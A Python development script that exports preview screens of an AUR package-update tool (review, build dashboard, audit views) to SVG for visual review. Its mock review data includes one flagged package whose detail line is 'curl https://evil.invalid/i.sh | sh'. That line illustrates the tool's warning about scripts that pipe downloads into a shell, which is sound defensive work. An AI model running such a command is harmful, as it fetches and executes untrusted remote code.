#!/usr/bin/env python3 """Export the real renderers to SVG/PNG for visual review. This is a development tool, not part of the program: the program never picks colours. Here we bind the ANSI-16 slots the renderers emit onto a concrete terminal palette purely so the output can be inspected as an image. Uses real data throughout -- the real AUR corpus, the real dependency graph, the real git history of a cloned package -- except the repository section, which is a stand-in because the sync databases here are stale and there is no network to refresh them. """ from __future__ import annotations import subprocess import sys from pathlib import Path ROOT = Path(__file__).resolve().parent.parent sys.path.insert(0, str(ROOT)) from rich.console import Console # noqa: E402 from rich.terminal_theme import TerminalTheme # noqa: E402 from updater import icons # noqa: E402 from updater.audit import Change, audit # noqa: E402 from updater.buildgraph import build_graph # noqa: E402 from updater.procwatch import BuildState # noqa: E402 from updater.render import ( # noqa: E402 AurRow, CheckRow, Columns, FeedEntry, RepoRow, Review, Screen, Step, Totals, VcsRow, audit_screen, build_screen, review_screen, ) from updater.srcinfo import load, parse_pkgbuild, parse_srcinfo # noqa: E402 from updater.theme import Theme # noqa: E402 CLONE = Path.home() / ".cache/paru/clone" OUT = ROOT / "preview" WIDTH = 100 def hexrgb(value: str) -> tuple[int, int, int]: value = value.lstrip("#") return tuple(int(value[i:i + 2], 16) for i in (0, 2, 4)) # type: ignore[return-value] # The ANSI-16 slots as a terminal defines them. Ours to bind, not to choose. PALETTES = { "kitty-noctalia": TerminalTheme( background=(0, 0, 0), foreground=hexrgb("#f2f2f3"), normal=[hexrgb(c) for c in ("#28242d", "#fd4663", "#9f8bc1", "#ad81b1", "#ad859e", "#baacd3", "#cdafd0", "#f2f2f3")], bright=[hexrgb(c) for c in ("#6b6574", "#fd4663", "#9f8bc1", "#ad81b1", "#ad859e", "#baacd3", "#cdafd0", "#f2f2f3")]), "sagen-teal": TerminalTheme( background=(0, 0, 0), foreground=hexrgb("#dcece9"), normal=[hexrgb(c) for c in ("#050b0a", "#cc5665", "#5bc0ae", "#d4b07b", "#588b9c", "#9e82aa", "#7cf5de", "#c7dbd8")], bright=[hexrgb(c) for c in ("#1b2623", "#e86f7f", "#69debb", "#e3c88a", "#66acbc", "#b491c2", "#8cfce6", "#dcece9")]), } def git_show(repo: Path, rev: str, path: str) -> str: result = subprocess.run(["git", "-C", str(repo), "show", f"{rev}:{path}"], capture_output=True, text=True) return result.stdout if result.returncode == 0 else "" def real_graph() -> tuple: """The genuine dependency graph for a set of installed AUR packages.""" targets = { "semgrep-bin", "termux-language-server", "python-boltons", "python-glom", "python-lsp-tree-sitter", "python-tree-sitter", "python-tree-sitter-bash", "python-click-option-group", "python-face", "python-opentelemetry-instrumentation-requests", "python-opentelemetry-util-http", "python-opentelemetry-instrumentation-threading", } infos = {} for name in targets: info, _ = load(CLONE, name) if info: infos[name] = info # candidates == every target, not just the ones already cloned, so packages # whose .SRCINFO is missing are reported rather than silently dropped return build_graph(infos, targets) def screens() -> dict[str, list]: theme = Theme.default() glyphs = icons.glyphs("unicode") nerd = icons.glyphs("nerd") graph = real_graph() # ---- review ---------------------------------------------------------- review = Review( meta="arch linux · rolling · 2026-09-28", repo=[ RepoRow("U", "linux", "6.16.7.arch1-1", "6.16.8.arch1-1", "1.4 MiB"), RepoRow("U", "mesa", "1:25.2.2-1", "1:25.2.3-1", "142.2 MiB"), RepoRow("U", "python-rich", "14.0.0-1", "14.1.0-1", "1.1 MiB"), RepoRow("N", "rebuild-detector", "-", "5-1", "12 KiB"), RepoRow("R", "linux-kepler", "6.15.9-1", "-", "-310 MiB"), ], repo_total=184, repo_download=1_258_291_200, repo_delta=503_316_480, aur=[ AurRow("U", "helium-browser-bin", "0.9.2-1", "0.9.3-1", "PKGBUILD +3 -1"), AurRow("!", "enca-bin", "1.19-4", "1.19-5", "changed maintainer", loud=True, details=["maintainer changed (Felp98 -> mkolb)"]), AurRow("!!", "sketchy-tool-bin", "2.1.0-1", "2.2.0-1", "pipes a download straight into a shell", loud=True, details=["pipes a download straight into a shell", "curl https://evil.invalid/i.sh | sh"]), ], aur_total=23, aur_build=21, vcs=[VcsRow("helix-git", "r9021 → r9044"), VcsRow("mangowm-git", "a1b2c → e9f01"), VcsRow("noctalia-git", "r1204 → r1288"), VcsRow("flow-control-git", "r412 → r418")], checks=[CheckRow(True, "arch-audit", "no CVEs among pending upgrades"), CheckRow(True, "news", "no unread items affecting this update"), CheckRow(False, "pacnew", "2 unresolved config files"), CheckRow(True, "snapshot", "root@241 pre-update, important")], steps=[Step("1", "pacman -Su", "184 packages · 1.2 GiB download"), Step("2", "paru -Sua", "21 packages built from source · ~8 min"), Step("3", "restart", "12 services affected · reboot recommended")], ) # ---- build dashboard ------------------------------------------------- # only packages that actually have metadata can be running or finished; a # package with no .SRCINFO cannot have been built by us states = [ BuildState("python-tree-sitter-bash", "cargo", 12.0), BuildState("python-lsp-tree-sitter", "compile", 62.0), BuildState("termux-language-server", "python", 4.0), ] feed = [ FeedEntry("python-tree-sitter", "0.26.0-1", 38.0, shared=True), FeedEntry("python-boltons", "26.2.0-1", 8.0), ] totals = Totals(total=12, elapsed=252.0, eta=108.0, download_bytes=13_002_000, download_rate=3_100_000, download_remaining=8_600_000, download_eta=3) dash = dict(graph=graph, theme=theme, width=WIDTH, feed=feed, states=states, completed={"python-tree-sitter", "python-boltons"}, running={s.package for s in states}, failed=set(), totals=totals, parallelism="16 cores · 8 workers") # ---- audit, from a genuine historical change ------------------------- pkg = "python-tree-sitter-bash" repo = CLONE / pkg revs = subprocess.run(["git", "-C", str(repo), "log", "--format=%H", "--", "PKGBUILD"], capture_output=True, text=True).stdout.split() old_pb, new_pb = git_show(repo, revs[1], "PKGBUILD"), git_show(repo, revs[0], "PKGBUILD") change = Change( package=pkg, old_srcinfo=parse_srcinfo(git_show(repo, revs[1], ".SRCINFO")), new_srcinfo=parse_srcinfo(git_show(repo, revs[0], ".SRCINFO")), old_pkgbuild=parse_pkgbuild(old_pb), new_pkgbuild=parse_pkgbuild(new_pb), old_maintainer="olddev", new_maintainer="kuglee", ) report = audit(change) report.findings.insert(0, type(report.findings[0])( "maintainer-changed", __import__("updater.audit", fromlist=["Severity"]).Severity.LOOK, "package changed maintainer", "olddev -> kuglee")) if report.findings else None return { "1-review": lambda s: review_screen(review, theme=theme, glyphs=glyphs, width=WIDTH, into=s), "2-build": lambda s: build_screen(**dash, glyphs=nerd, into=s), "3-build-unicode": lambda s: build_screen(**dash, glyphs=glyphs, into=s), "4-ledger": lambda s: build_screen(**dash, glyphs=nerd, dashboard=False, into=s), "5-audit": lambda s: audit_screen(report, theme=theme, glyphs=glyphs, width=WIDTH, old_text=old_pb, new_text=new_pb, title=f"{pkg} · AUR", into=s), } def main() -> int: OUT.mkdir(exist_ok=True) theme = Theme.default() for name, render in screens().items(): for palette_name, palette in PALETTES.items(): if palette_name != "kitty-noctalia" and not name.startswith("2-"): continue screen = Screen(theme=theme, glyphs=icons.glyphs("unicode"), columns=Columns.for_width(WIDTH)) lines = render(screen) suffix = "" if palette_name == "kitty-noctalia" else f"--{palette_name}" stem = OUT / f"{name}{suffix}" console = Console(record=True, width=WIDTH, force_terminal=True, color_system="standard", height=300) for line in lines: console.print(line) console.save_svg(f"{stem}.svg", font_aspect_ratio=0.5, theme=palette) (OUT / f"{name}{suffix}.txt").write_text( "\n".join(l.plain for l in lines)) print(f"{stem.name}: {len(lines)} lines, " f"clipped={screen.clipped}, " f"max={max(l.cell_len for l in lines)} cells") return 0 if __name__ == "__main__": raise SystemExit(main())